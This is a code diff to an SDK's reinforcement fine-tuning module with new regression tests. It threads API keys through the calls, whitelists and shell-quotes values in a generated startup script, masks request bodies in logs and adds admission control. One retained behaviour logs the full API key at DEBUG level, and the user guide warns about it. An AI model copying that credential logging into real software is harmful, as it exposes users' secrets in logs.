b/dashscope/applications/finetune/reinforcement/common/model.py index f07c7f68..f71d5905 100644 --- a/dashscope/applications/finetune/reinforcement/common/model.py +++ b/dashscope/applications/finetune/reinforcement/common/model.py @@ -24,7 +24,6 @@ # Local Application from .constants import ( - FC_API_KEY, FC_DELETE_API, FC_LOAD_API, FC_QUERY_API, @@ -41,6 +40,7 @@ FC_LAYER_STATUS_TIMEOUT, FC_LAYER_STATUS_INTERVAL, LOG_LEVEL, + resolve_fc_api_key, ) from .model_types import ( FileSpec, @@ -77,6 +77,7 @@ ) from .log import logger from .errors import ( + AgenticRLError, InputError, OutputError, OSSConnectionError, @@ -139,7 +140,10 @@ class Dataset(BaseModel): download_url: Optional[str] = None mount_storage: Optional[MountStorage] = None - async def upload_dataset(self) -> Optional[str]: + async def upload_dataset( + self, + api_key: Optional[str] = None, + ) -> Optional[str]: if ( self.data_source_type == DataSourceType.FILE_ID and self.file_name is not None @@ -147,10 +151,14 @@ async def upload_dataset(self) -> Optional[str]: try: file_id = await to_bailian_data( [FileSpec(path=self.file_name)], + api_key=api_key, ) - if file_id and isinstance(file_id, List) and len(file_id) > 0: + if file_id and isinstance(file_id, list) and len(file_id) > 0: self.file_id = file_id[0] + except AgenticRLError: + # Keep the specific classification (code/solution/allow_retry) + raise except Exception as e: raise OSSUploadError( "Failed to upload datasets", @@ -160,6 +168,23 @@ async def upload_dataset(self) -> Optional[str]: return self.file_id +def _normalize_file_param( + value: Optional[Union[List[str], str]], +) -> List[str]: + """Normalize a dataset file parameter to a list of paths. + + ``None`` (the default) becomes an empty list instead of ``[None]``, + a single string becomes a one-element list, and any other iterable + is converted to a list. Runtime type checks use builtin types -- + ``typing`` aliases are annotations, not classes to test against. + """ + if value is None: + return [] + if isinstance(value, str): + return [value] + return list(value) + + class Datasets(BaseModel): name: str = None datasets: List[Dataset] = None @@ -169,17 +194,10 @@ async def upload_datasets( cls, training_files: Union[List[str], str] = None, validation_files: Union[List[str], str] = None, + api_key: Optional[str] = None, ) -> Tuple[Optional[List[str]], Optional[List[str]]]: - training_files = ( - training_files - if isinstance(training_files, List) - else [training_files] - ) - validation_files = ( - validation_files - if isinstance(validation_files, List) - else [validation_files] - ) + training_files = _normalize_file_param(training_files) + validation_files = _normalize_file_param(validation_files) training_filespecs = [FileSpec(path=f) for f in training_files] validation_filespecs = [FileSpec(path=f) for f in validation_files] @@ -190,12 +208,17 @@ async def upload_datasets( if training_files: uploaded_training_ids = await to_bailian_data( training_filespecs, + api_key=api_key, ) if validation_files: uploaded_validation_ids = await to_bailian_data( validation_filespecs, + api_key=api_key, ) + except AgenticRLError: + # Keep the specific classification (code/solution/allow_retry) + raise except Exception as e: raise OSSUploadError( "Failed to upload datasets", @@ -357,14 +380,18 @@ def generate_id(self, func_type: FunctionType) -> str: ) return oss_id - async def get_oss(self, oss_id: Optional[str] = None) -> str: + async def get_oss( + self, + oss_id: Optional[str] = None, + api_key: Optional[str] = None, + ) -> str: """Retrieve OSS signed URL for deployment package.""" try: if oss_id: self.oss_id = oss_id result = await client_fc( - FC_API_KEY, + resolve_fc_api_key(api_key), FC_UPLOAD_OSS_API, {"unique_key": self.oss_id}, ) @@ -393,6 +420,7 @@ async def create_layer( self, name: str = FC_LAYER_NAME, requirements_file: str = FC_REQUIREMENTS_FILE, + api_key: Optional[str] = None, # oss_signed_url: str = None, ) -> str: """Retrieve OSS signed URL for deployment package.""" @@ -411,7 +439,7 @@ async def create_layer( # oss_signed_url = oss_signed_url or self.oss_signed_url result = await client_fc( - FC_API_KEY, + resolve_fc_api_key(api_key), FC_LAYER_CREATE_API, { "layer_name": layer_name, @@ -500,7 +528,11 @@ async def to_oss( return - async def get_layer(self, layer_code: str) -> str: + async def get_layer( + self, + layer_code: str, + api_key: Optional[str] = None, + ) -> str: """Wait for an FC layer build to finish and return its final status. Raises FunctionLayerError when the layer fails to build, when the @@ -516,7 +548,7 @@ async def get_layer(self, layer_code: str) -> str: attempt += 1 try: result = await client_fc( - FC_API_KEY, + resolve_fc_api_key(api_key), FC_LAYER_QUERY_API, { "layer_code": layer_code, @@ -734,6 +766,7 @@ async def register( self, oss_id: Optional[str] = None, oss_url: Optional[str] = None, + api_key: Optional[str] = None, ) -> ResponseFC: """Register function in the deployment system.""" try: @@ -743,7 +776,7 @@ async def register( self.fcmodel.oss_signed_url = oss_url else: self.fcmodel.generate_id(self.type) - await self.fcmodel.get_oss() + await self.fcmodel.get_oss(api_key=api_key) # Split: classpath to filepath & classname if self.fcmodel.classpath: @@ -759,7 +792,9 @@ async def register( if FC_LAYER_USED: if self.runtime is None: self.runtime = FunctionComponentRuntime() - self.runtime.layer_code = await self.fcmodel.create_layer() + self.runtime.layer_code = await self.fcmodel.create_layer( + api_key=api_key, + ) except FunctionLayerError as e: root = e @@ -810,7 +845,7 @@ async def register( ) result = await client_fc( - FC_API_KEY, + resolve_fc_api_key(api_key), endpoint, request.model_dump(), ) @@ -858,6 +893,7 @@ async def load( entity_id: Optional[str] = None, runtime: Optional[FunctionComponentRuntime] = None, warmup: bool = False, + api_key: Optional[str] = None, ) -> ResponseFC: """Load and initialize a registered function instance.""" runtime_obj = runtime or self.runtime @@ -881,6 +917,7 @@ async def load( ) await self.fcmodel.get_layer( layer_code=layer_code, + api_key=api_key, ) # Load function instance @@ -892,7 +929,11 @@ async def load( job_id = generate_random_id() url = f"{FC_LOAD_API}/jobId-{job_id}/{target_entity_id}" - result = await client_fc(FC_API_KEY, url, runtime_dict) + result = await client_fc( + resolve_fc_api_key(api_key), + url, + runtime_dict, + ) self.instance_id = result.get("output", {}).get("instanceId", "") if not self.instance_id: raise FunctionLoadError( @@ -1018,7 +1059,11 @@ async def load( ) @classmethod - async def query(cls, instance_id: str) -> ResponseFC: + async def query( + cls, + instance_id: str, + api_key: Optional[str] = None, + ) -> ResponseFC: """Retrieve current status of a function instance.""" try: if not instance_id: @@ -1028,7 +1073,7 @@ async def query(cls, instance_id: str) -> ResponseFC: ) url = f"{FC_QUERY_API}/{instance_id}" - result = await client_fc(FC_API_KEY, url, {}) + result = await client_fc(resolve_fc_api_key(api_key), url, {}) status = result.get("output", {}).get("status", -1) if status == -1: raise InstanceQueryError( @@ -1073,6 +1118,7 @@ async def verify_function( instance_id: Optional[str] = None, instance_url: Optional[str] = None, instance_token: Optional[str] = None, + api_key: Optional[str] = None, ) -> Dict: """Validate deployed function functionality.""" try: @@ -1082,7 +1128,7 @@ async def verify_function( "instance_id is required for verification", error_code=2041, ) - result = await cls.query(instance_id) + result = await cls.query(instance_id, api_key=api_key) if result.status.task != StatusType.SUCCEEDED: raise InstanceQueryError( "Status query failed", @@ -1244,6 +1290,7 @@ async def query_function_instance_logs( start_time: Optional[int] = None, end_time: Optional[int] = None, keywords: Optional[List[str]] = None, + api_key: Optional[str] = None, ) -> Dict[str, Any]: """Query logs of a function (faas) instance (single page). @@ -1276,7 +1323,7 @@ async def query_function_instance_logs( if keywords: request_data["keywords"] = keywords - result = await client_fc(FC_API_KEY, url, request_data) + result = await client_fc(resolve_fc_api_key(api_key), url, request_data) status = result.get("status", {}) if isinstance(status, Dict) and status.get("code", 200) != 200: raise InstanceQueryError( @@ -1307,6 +1354,7 @@ async def query_all_function_instance_logs( end_time: Optional[int] = None, keywords: Optional[List[str]] = None, max_pages: int = 100, + api_key: Optional[str] = None, ) -> List[str]: """Fetch all logs of a function (faas) instance with pagination. @@ -1335,6 +1383,7 @@ async def query_all_function_instance_logs( start_time=start_time, end_time=end_time, keywords=keywords, + api_key=api_key, ) logs, total = cls._extract_log_page(result) all_logs.extend(logs) @@ -1356,6 +1405,7 @@ async def query_all_function_instance_logs( async def delete_function_instance( cls, function_instance_id: str, + api_key: Optional[str] = None, ) -> Dict[str, Any]: """Delete a function (faas) runtime instance. @@ -1381,7 +1431,7 @@ async def delete_function_instance( ) url = f"{FC_DELETE_API}/{function_instance_id}" - result = await client_fc(FC_API_KEY, url, {}) + result = await client_fc(resolve_fc_api_key(api_key), url, {}) status = result.get("status", {}) if isinstance(status, Dict) and status.get("code", 200) != 200: raise InstanceQueryError( @@ -1450,10 +1500,15 @@ async def register( self, oss_id: Optional[str] = None, oss_url: Optional[str] = None, + api_key: Optional[str] = None, ) -> ResponseFC: if not self.reward_metric_weight: self.reward_metric_weight = self.fcmodel.get_sub_function_weights() - result = await super().register(oss_id=oss_id, oss_url=oss_url) + result = await super().register( + oss_id=oss_id, + oss_url=oss_url, + api_key=api_key, + ) return result @@ -1477,10 +1532,15 @@ async def register( self, oss_id: Optional[str] = None, oss_url: Optional[str] = None, + api_key: Optional[str] = None, ) -> ResponseFC: if not self.reward_metric_weight: self.reward_metric_weight = self.fcmodel.get_sub_function_weights() - result = await super().register(oss_id=oss_id, oss_url=oss_url) + result = await super().register( + oss_id=oss_id, + oss_url=oss_url, + api_key=api_key, + ) return result @@ -1524,6 +1584,7 @@ class TuningModel(Models, BaseModel): async def register_functions( self, lazy_load: Optional[bool] = True, + api_key: Optional[str] = None, ) -> tuple[ List[str], List[str], @@ -1546,7 +1607,7 @@ async def register_functions( if fc.entity_id: entity_id = fc.entity_id else: - reg_result = await fc.register() + reg_result = await fc.register(api_key=api_key) if reg_result.status.success: entity_id = reg_result.output.get("entity_id", "") if not entity_id: @@ -1572,7 +1633,10 @@ async def register_functions( entity_group_reward_ids.append(entity_id) if not lazy_load: - load_result = await fc.load(entity_id=entity_id) + load_result = await fc.load( + entity_id=entity_id, + api_key=api_key, + ) if load_result.status.success: instance_id = load_result.output.get("instance_id", "") if not instance_id: @@ -1618,10 +1682,15 @@ async def upload_datasets( self, training_files: Union[List[str], str] = None, validation_files: Union[List[str], str] = None, + api_key: Optional[str] = None, ) -> tuple[List[str], List[str]]: """Register and validate training/validation datasets.""" uploaded_training_ids = [] uploaded_validation_ids = [] + # Normalize so that a single string path is not iterated + # character by character and defaults do not produce [None]. + training_files = _normalize_file_param(training_files) + validation_files = _normalize_file_param(validation_files) try: if training_files: self.datasets = [] @@ -1643,8 +1712,8 @@ async def upload_datasets( self.datasets.append(ds) # Perform dataset validation and upload - for ds in self.datasets: - ds_id = await ds.upload_dataset() + for ds in self.datasets or []: + ds_id = await ds.upload_dataset(api_key=api_key) if ds.type == DatasetsType.TRAINING and ds_id is not None: uploaded_training_ids.append(ds_id) elif ds.type == DatasetsType.VALIDATION and ds_id is not None: @@ -1656,6 +1725,9 @@ async def upload_datasets( f"{len(uploaded_validation_ids)} validation", ) + except AgenticRLError: + # Keep the specific classification (code/solution/allow_retry) + raise except Exception as e: raise OSSUploadError( "Dataset registration failed", diff --git a/dashscope/applications/finetune/reinforcement/common/utils.py b/dashscope/applications/finetune/reinforcement/common/utils.py index 9eba40a6..8bd2cf81 100644 --- a/dashscope/applications/finetune/reinforcement/common/utils.py +++ b/dashscope/applications/finetune/reinforcement/common/utils.py @@ -5,6 +5,8 @@ import fnmatch import json import os +import re +import shlex import uuid import zipfile from typing import Optional, List, Any, Dict, Union, Tuple, Literal @@ -23,6 +25,7 @@ from dashscope._shared._sdk_ident import get_sdk_headers, get_user_agent from .. import logger from .errors import ( + AgenticRLError, InputError, OutputError, ConfigurationError, @@ -32,7 +35,6 @@ ) from .. import ( LOG_LEVEL, - DASHSCOPE_API_KEY, BAILIAN_FILE_API, BAILIAN_FILE_TIMEOUT, HTTP_REQUEST_TIMEOUT, @@ -47,6 +49,7 @@ LOGGER_FILTER_FIELDS, FC_WORKERS_COUNT, ) +from .constants import resolve_api_key from .model_types import ( FileSpec, FunctionType, @@ -67,45 +70,48 @@ async def async_http_request( timeout: int = 10, retry_times: int = 3, ) -> Dict[str, Any]: - """Perform an asynchronous HTTP request with tenacity retries.""" + """Perform an asynchronous HTTP request with tenacity retries. - async def _make_request() -> Dict[str, Any]: + A single ``aiohttp.ClientSession`` is created per logical request and + shared by all retry attempts, so DNS/TCP/TLS connections can be reused + from the session's connection pool instead of being re-established on + every attempt. + """ + + async def _request_once( + session: "aiohttp.ClientSession", + ) -> Dict[str, Any]: """Single attempt: return result on success, raise exception on failure.""" - async with aiohttp.ClientSession( - headers=headers, - timeout=aiohttp.ClientTimeout(total=timeout), - trust_env=True, - ) as session: - method_upper = method.upper() - - if method_upper == "GET": - async with session.get(url, params=data) as response: - result = await _handle_response(response) - elif method_upper == "POST": - async with session.post(url, json=data) as response: - result = await _handle_response(response) - elif method_upper == "POST-DATA": - async with session.post(url, data=data) as response: - result = await _handle_response(response) - else: - # Logical error – do not retry - raise InputError( - f"Unsupported method: {method}", - error_code=4001, - ) + method_upper = method.upper() + + if method_upper == "GET": + async with session.get(url, params=data) as response: + result = await _handle_response(response) + elif method_upper == "POST": + async with session.post(url, json=data) as response: + result = await _handle_response(response) + elif method_upper == "POST-DATA": + async with session.post(url, data=data) as response: + result = await _handle_response(response) + else: + # Logical error – do not retry + raise InputError( + f"Unsupported method: {method}", + error_code=4001, + ) - # Treat server 5xx responses as transient failures and trigger a - # retry - if ( - isinstance(result.get("status"), Dict) - and result.get("status").get("code") >= 500 - ): - raise aiohttp.ClientError( - f"Server error {result['status']['code']}:" - f" {result['status']['message']}", - ) - return result + # Treat server 5xx responses as transient failures and trigger a + # retry + if ( + isinstance(result.get("status"), Dict) + and result.get("status").get("code") >= 500 + ): + raise aiohttp.ClientError( + f"Server error {result['status']['code']}:" + f" {result['status']['message']}", + ) + return result # Retry only on network errors, timeouts, and 5xx (wrapped as ClientError) retryer = AsyncRetrying( @@ -122,9 +128,14 @@ async def _make_request() -> Dict[str, Any]: ) try: - async for attempt in retryer: - with attempt: - return await _make_request() + async with aiohttp.ClientSession( + headers=headers, + timeout=aiohttp.ClientTimeout(total=timeout), + trust_env=True, + ) as session: + async for attempt in retryer: + with attempt: + return await _request_once(session) except InputError: raise except asyncio.TimeoutError as e: @@ -197,6 +208,35 @@ def check_file(file: str) -> None: ) +# Whitelist patterns for values embedded into the generated start.sh. +# Anything that does not match is rejected instead of being escaped into +# the script, so a malformed value can never change shell semantics. +_MODULE_CLASSPATH_RE = re.compile( + r"^[A-Za-z_][A-Za-z0-9_]*(\.[A-Za-z_][A-Za-z0-9_]*)*$", +) +_FUNC_TYPE_RE = re.compile(r"^[a-z_]+$") +_PYPI_REPO_RE = re.compile(r"^https?://[^\s'\"`$\\]+/?$") +# A single pip requirement token, e.g. "dashscope" or "dashscope==1.2.3". +_PIP_REQUIREMENT_RE = re.compile( + r"^[A-Za-z0-9._\-]+(\[[A-Za-z0-9,_\-]+\])?(==[A-Za-z0-9._*+-]+)?$", +) + + +def _validate_shell_value( + value: str, + pattern: "re.Pattern", + field: str, +) -> str: + """Validate a value destined for the startup script against a + whitelist pattern.""" + if not pattern.match(value or ""): + raise InputError( + f"Invalid {field} for startup script: {value!r}", + error_code=4025, + ) + return value + + def generate_agentic_script( fc_pypi_lib: str, fc_pypi_repo: str, @@ -216,20 +256,39 @@ def generate_agentic_script( Returns: Generated bash script content + + Raises: + InputError: If any embedded value fails whitelist validation. """ + # Whitelist-validate structured values, then emit every interpolated + # value as a shlex-quoted shell literal so quotes, $(), backticks, + # spaces or newlines can never break out of the assignment. + _validate_shell_value(str(func_type), _FUNC_TYPE_RE, "func_type") + _validate_shell_value(classpath, _MODULE_CLASSPATH_RE, "classpath") + _validate_shell_value(fc_pypi_repo, _PYPI_REPO_RE, "pypi repo") + _validate_shell_value( + FC_SERVER_CLASSPATH, + _MODULE_CLASSPATH_RE, + "server classpath", + ) + sdk_package_tokens = shlex.split(fc_pypi_lib or "") + for token in sdk_package_tokens: + _validate_shell_value(token, _PIP_REQUIREMENT_RE, "sdk package") + shell_script_header = f"""#!/usr/bin/env bash set -euo pipefail # Strict error handling # ================= Configuration ================== -SERVICE_TYPE="{func_type}" # reward|rollout -PROCESSOR_CLASS="{classpath}" # Full class path -PYPI_REPO="{fc_pypi_repo}" -SDK_PACKAGE="{fc_pypi_lib}" -REQUIREMENTS_FILE="{requirements_path}" -SERVER_CLASSPATH="{FC_SERVER_CLASSPATH}" -WORKERS_COUNT="{FC_WORKERS_COUNT}" -FUNCTION_LAYER="{function_layer_used}" +SERVICE_TYPE={shlex.quote(str(func_type))} # reward|rollout +PROCESSOR_CLASS={shlex.quote(classpath)} # Full class path +PYPI_REPO={shlex.quote(fc_pypi_repo)} +# Kept unquoted so the shell word-splits multiple packages below. +SDK_PACKAGE="{' '.join(shlex.quote(t) for t in sdk_package_tokens)}" +REQUIREMENTS_FILE={shlex.quote(requirements_path or "")} +SERVER_CLASSPATH={shlex.quote(FC_SERVER_CLASSPATH)} +WORKERS_COUNT={shlex.quote(str(FC_WORKERS_COUNT))} +FUNCTION_LAYER={shlex.quote(str(function_layer_used))} LOG_DIR="/tmp/log/agentic_rl" MAX_RETRIES=3 """ @@ -391,6 +450,9 @@ def create_deployment_files( os.chmod(start_file, 0o755) logger.debug(f"Generated startup script: {start_file}") + except AgenticRLError: + # Keep the specific classification (code/solution/allow_retry) + raise except Exception as e: raise RuntimeErrorWithCode( "Deployment file creation error", @@ -605,7 +667,10 @@ async def upload_zip_to_oss_and_by_signed_url( raise -async def to_bailian_data(files: List[FileSpec]) -> List[str]: +async def to_bailian_data( + files: List[FileSpec], + api_key: Optional[str] = None, +) -> List[str]: """ Upload files to Bailian file storage service. @@ -618,7 +683,7 @@ async def to_bailian_data(files: List[FileSpec]) -> List[str]: headers = { "user-agent": get_user_agent(), **get_sdk_headers(module="finetune"), - "Authorization": f"Bearer {DASHSCOPE_API_KEY}", + "Authorization": f"Bearer {resolve_api_key(api_key)}", } form_data = FormData() uploaded_files = [] @@ -709,6 +774,11 @@ async def to_bailian_data(files: List[FileSpec]) -> List[str]: logger.debug(f"Uploaded {len(uploaded_files)} files") return uploaded_files + except AgenticRLError: + # Preserve the specific classification (error code, solution and + # allow_retry) of errors raised above instead of flattening them + # into a generic 4034 OutputError. + raise except Exception as e: raise OutputError( "File upload error", @@ -772,7 +842,7 @@ def set_api_key(api_key: Optional[str] = None) -> None: os.environ["DASHSCOPE_API_KEY"] = api_key logger.debug( f"Set environ DASHSCOPE_API_KEY: " - f"{api_key if LOG_LEVEL == 'DEBUG' else deep_mask(api_key)}", + f"{api_key if LOG_LEVEL == 'DEBUG' else secret_part_str(api_key)}", ) return diff --git a/dashscope/applications/finetune/reinforcement/component/func_manager.py b/dashscope/applications/finetune/reinforcement/component/func_manager.py index 1d7c3f49..318011df 100644 --- a/dashscope/applications/finetune/reinforcement/component/func_manager.py +++ b/dashscope/applications/finetune/reinforcement/component/func_manager.py @@ -232,7 +232,7 @@ async def processes(self, input_data: BaseDataModel) -> Any: partial(self._processor.process, input_data), ) - def execute(self, raw_data: Dict[str, Any]) -> Any: + async def execute(self, raw_data: Dict[str, Any]) -> Any: """ Complete processing pipeline: parse + execute. @@ -242,8 +242,8 @@ def execute(self, raw_data: Dict[str, Any]) -> Any: Returns: Processing result """ - input_data = self.parse(raw_data) - return self.process(input_data) + input_data = self.parses(raw_data) + return await self.processes(input_data) @classmethod def create_from_env( diff --git a/dashscope/applications/finetune/reinforcement/component/processor/abstract_reward_processor.py b/dashscope/applications/finetune/reinforcement/component/processor/abstract_reward_processor.py index 8cfdc7fd..9f971d91 100644 --- a/dashscope/applications/finetune/reinforcement/component/processor/abstract_reward_processor.py +++ b/dashscope/applications/finetune/reinforcement/component/processor/abstract_reward_processor.py @@ -10,6 +10,7 @@ # -*- coding: utf-8 -*- from __future__ import annotations +import copy from abc import abstractmethod from concurrent.futures import ThreadPoolExecutor, Executor from typing import Optional, Dict @@ -68,6 +69,9 @@ def __init__(self, executor: Optional[Executor] = None): """ self.executor = executor or ThreadPoolExecutor() self._executor_owned = executor is None + # Instance-level flag so collection state is never shared through the + # class attribute. + self.functions_collected = False # Collect all sub-functions and aggregate functions during # initialization # IMPORTANT: Subclasses MUST call super().__init__() to ensure @@ -80,8 +84,16 @@ def _collect_functions(self): if self.functions_collected: return - # Ensure metadata exists - if not hasattr(self, "reward_meta"): + # Build an instance-level copy of the class metadata. The decorator + # attaches a single ``reward_meta`` to the class, so mutating it + # directly would make every instance share one object: the bound + # methods collected for a later instance would overwrite the ones + # stored for earlier instances. Deep-copying per instance keeps each + # processor's sub-functions bound to its own object. + class_meta = getattr(type(self), "reward_meta", None) + if class_meta is not None: + self.reward_meta = copy.deepcopy(class_meta) + else: self.reward_meta = RewardProcessorMeta("default") # Iterate through class methods to collect marked functions diff --git a/dashscope/applications/finetune/reinforcement/component/server/server.py b/dashscope/applications/finetune/reinforcement/component/server/server.py index 56945cd6..8ed6cb9d 100644 --- a/dashscope/applications/finetune/reinforcement/component/server/server.py +++ b/dashscope/applications/finetune/reinforcement/component/server/server.py @@ -39,6 +39,7 @@ """ import asyncio +import json import logging import os import time @@ -50,6 +51,8 @@ from ...common.log import logger from ...common.utils import ( + LOG_LEVEL, + deep_mask, get_fc_request_id, get_business_summary, ) @@ -133,6 +136,13 @@ def _resolve_func_type(raw: str) -> FuncType: # event loop) executor = ThreadPoolExecutor(max_workers=_THREAD_POOL_WORKERS) +# Admission control: bound total in-flight requests to +# workers + queue capacity. The semaphore is acquired atomically inside the +# event loop, so unlike probing ``executor._work_queue.qsize()`` it cannot be +# passed by multiple concurrent requests between check and submit. +_MAX_INFLIGHT = _THREAD_POOL_WORKERS + _THREAD_POOL_QUEUE +_admission_semaphore = asyncio.Semaphore(_MAX_INFLIGHT) + # Initialize FuncManager for unified parsing and processing func_manager: FuncManager = FuncManager.create_from_env( func_type=func_type, @@ -167,7 +177,13 @@ async def validation_exception_handler( request: Request, exc: RequestValidationError, ) -> JSONResponse: - """Handles request validation errors, logs details and returns 422.""" + """Handles request validation errors, logs details and returns 422. + + The raw request body may contain prompts, ground truth, agent output or + user conversations, so it is never logged or echoed by default. Only the + request id, body size and the failing field locations are recorded; the + full body (deep-masked and truncated) is emitted at DEBUG level only. + """ errors = exc.errors() error_details = [ { @@ -179,18 +195,30 @@ async def validation_exception_handler( for e in errors ] + fc_req_id = get_fc_request_id(request) try: body_bytes = await request.body() - body_str = body_bytes.decode("utf-8", errors="ignore") - except Exception as ex: - body_str = f"Failed to read request body: {str(ex)}" - - logger.error(f"[Server] Request validation error: {error_details}") - logger.error(f"[Server] Request body: {body_str}") + body_size = len(body_bytes) + except Exception: + body_bytes = None + body_size = -1 + + logger.error( + f"[Server] Request validation error: {error_details} | " + f"fc_request_id={fc_req_id} | body_size={body_size}", + ) + if body_bytes is not None and LOG_LEVEL == "DEBUG": + try: + body_preview = str(deep_mask(json.loads(body_bytes)))[:2000] + except Exception: + body_preview = ( + body_bytes.decode("utf-8", errors="ignore")[:200] + ) + logger.debug(f"[Server] Request body (masked): {body_preview}") return JSONResponse( status_code=422, - content={"detail": error_details, "body": body_str}, + content={"detail": error_details}, ) @@ -349,24 +377,35 @@ async def _parse_processor_input(raw_body: Dict) -> BaseDataModel: async def _check_queue_capacity(): """ - Check if thread pool queue has capacity for new requests. + Acquire one admission slot for a new request. + + Admission is bounded by ``_admission_semaphore`` + (workers + queue capacity). The caller MUST release the slot via + ``_release_admission()`` in a ``finally`` block once admitted. Raises: - HTTPException: If queue is full (503 Service Unavailable) + HTTPException: If the in-flight limit is reached (503) """ - # pylint: disable=protected-access - queue_size = executor._work_queue.qsize() - if queue_size >= _THREAD_POOL_QUEUE: + if _admission_semaphore.locked(): error_msg = ( f"Too many concurrent requests. " - f"Thread pool queue is full (queue_size={queue_size}, " - f"max={_THREAD_POOL_QUEUE})" + f"In-flight limit reached (max={_MAX_INFLIGHT})" ) logger.error(f"[Server] {error_msg}") raise HTTPException( status_code=503, detail="Server is busy, please try again later.", ) + await _admission_semaphore.acquire() + + +def _release_admission() -> None: + """Release an admission slot acquired by ``_check_queue_capacity``.""" + try: + _admission_semaphore.release() + except ValueError: + # Semaphore released more times than acquired; ignore. + pass def _serialize_result(result: Any) -> Dict: @@ -404,9 +443,24 @@ async def _cancel_task_on_disconnect( if disconnected.is_set(): process_task.cancel() try: - await process_task + await asyncio.wait_for( + asyncio.shield(process_task), + timeout=5.0, + ) except asyncio.CancelledError: pass + except Exception: + pass + if not process_task.done(): + # asyncio cancellation cannot interrupt a sync processor that + # already started running inside a worker thread; surface it so + # the "HTTP cancelled but worker still busy" case is observable. + logger.warning( + "[Server] HTTP request cancelled but the worker is still " + "running (sync processors cannot be interrupted by " + "asyncio cancel); in-flight capacity remains held until " + "it completes.", + ) return True return False @@ -460,6 +514,7 @@ async def handle_endpoint(request: Request) -> JSONResponse: success = False cancelled = False processor_input = None + admitted = False disconnect_listener = None disconnected = asyncio.Event() @@ -487,8 +542,10 @@ async def _listen_for_disconnect(): # Parse request using FuncManager processor_input = await _parse_processor_input(raw_body) - # Check thread pool queue capacity + # Admission control: acquire an in-flight slot (atomic within the + # event loop) before creating the processing task await _check_queue_capacity() + admitted = True # Start listening for disconnect only AFTER the request body has been # fully read. Otherwise the background listener competes with the body @@ -547,6 +604,10 @@ async def _listen_for_disconnect(): content={"message": str(ex)}, ) finally: + # Release the admission slot held by this request + if admitted: + _release_admission() + # Cancel the disconnect listener if still running if disconnect_listener is not None: disconnect_listener.cancel() diff --git a/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide-zh.md b/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide-zh.md index 7d5b295e..db28c232 100644 --- a/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide-zh.md +++ b/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide-zh.md @@ -98,8 +98,8 @@ loongsuite-util-genai==0.4.0 通过 `LOG_LEVEL` 环境变量配置日志详细程度: ```bash -export LOG_LEVEL="DEBUG" # 最详细(会屏蔽敏感信息如 API 密钥) -export LOG_LEVEL="INFO" # 默认 +export LOG_LEVEL="DEBUG" # 最详细(警告:日志可能包含 API 密钥等完整凭证,分享日志前请关闭) +export LOG_LEVEL="INFO" # 默认(API 密钥等敏感信息会被脱敏) export LOG_LEVEL="WARNING" export LOG_LEVEL="ERROR" export LOG_LEVEL="CRITICAL" diff --git a/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide.md b/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide.md index aded12a0..7cd80c79 100644 --- a/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide.md +++ b/dashscope/applications/finetune/reinforcement/examples/workspace/UserGuide.md @@ -97,8 +97,8 @@ loongsuite-util-genai==0.4.0 Configure logging verbosity via the `LOG_LEVEL` environment variable: ```bash -export LOG_LEVEL="DEBUG" # Most verbose (masks sensitive info like API keys) -export LOG_LEVEL="INFO" # Default +export LOG_LEVEL="DEBUG" # Most verbose (WARNING: logs may contain full credentials such as API keys; disable before sharing logs) +export LOG_LEVEL="INFO" # Default (sensitive info like API keys is masked) export LOG_LEVEL="WARNING" export LOG_LEVEL="ERROR" export LOG_LEVEL="CRITICAL" diff --git a/tests/legacy_1x/unit/test_agentic_rl_datasets_upload.py b/tests/legacy_1x/unit/test_agentic_rl_datasets_upload.py new file mode 100644 index 00000000..6cc543e9 --- /dev/null +++ b/tests/legacy_1x/unit/test_agentic_rl_datasets_upload.py @@ -0,0 +1,168 @@ +# -*- coding: utf-8 -*- +"""Regression tests for dataset upload hardening. + +Covers: +- Issue 9: ``Datasets.upload_datasets()`` with default (None) parameters + must not produce ``[None]`` / ``FileSpec(path=None)`` ValidationErrors. +- Issue 10: ``to_bailian_data`` and the upload wrappers must preserve the + specific ``AgenticRLError`` classification instead of flattening every + failure into a generic OutputError(4034) / OSSUploadError. +""" +import os +from unittest.mock import AsyncMock, patch + +import pytest + +# Import from the canonical application core: the legacy 1.x facade +# re-exports a distinct (subclass) error family, while the code under +# test raises the v2 classes. +from dashscope.applications.finetune.reinforcement import ( + Datasets, + FileSpec, + InputError, + OutputError, + OSSUploadError, +) +from dashscope.applications.finetune.reinforcement.common.model import ( + _normalize_file_param, +) +from dashscope.applications.finetune.reinforcement.common.utils import ( + to_bailian_data, +) + + +@pytest.fixture(autouse=True) +def api_key_env(): + original = os.environ.get("DASHSCOPE_API_KEY") + os.environ["DASHSCOPE_API_KEY"] = "test-key" + yield + if original is None: + os.environ.pop("DASHSCOPE_API_KEY", None) + else: + os.environ["DASHSCOPE_API_KEY"] = original + + +class TestNormalizeFileParam: + def test_none_becomes_empty_list(self): + assert _normalize_file_param(None) == [] + + def test_string_becomes_single_item_list(self): + assert _normalize_file_param("train.jsonl") == ["train.jsonl"] + + def test_list_is_preserved(self): + assert _normalize_file_param(["a.jsonl", "b.jsonl"]) == [ + "a.jsonl", + "b.jsonl", + ] + + def test_tuple_is_converted(self): + assert _normalize_file_param(("a.jsonl",)) == ["a.jsonl"] + + +class TestDatasetsUploadDefaults: + @pytest.mark.asyncio + async def test_all_default_params_do_not_raise(self): + """upload_datasets() with no arguments returns (None, None) + instead of building FileSpec(path=None).""" + result = await Datasets.upload_datasets() + assert result == (None, None) + + @pytest.mark.asyncio + async def test_single_string_is_wrapped_once(self): + """A plain string must become one FileSpec, not one per char.""" + with patch( + "dashscope.applications.finetune.reinforcement.common.model" + ".to_bailian_data", + new=AsyncMock(return_value=["file-1"]), + ) as mock_upload: + train_ids, val_ids = await Datasets.upload_datasets( + training_files="train.jsonl", + validation_files="val.jsonl", + ) + + assert train_ids == ["file-1"] + assert val_ids == ["file-1"] + for call in mock_upload.await_args_list: + specs = call.args[0] + assert specs == [FileSpec(path=specs[0].path)] + assert specs[0].path in ("train.jsonl", "val.jsonl") + + @pytest.mark.asyncio + async def test_specific_error_is_not_rewrapped(self): + """An InputError from the upload must keep its own code.""" + original = InputError("File too large", error_code=4035) + with patch( + "dashscope.applications.finetune.reinforcement.common.model" + ".to_bailian_data", + new=AsyncMock(side_effect=original), + ): + with pytest.raises(InputError) as exc_info: + await 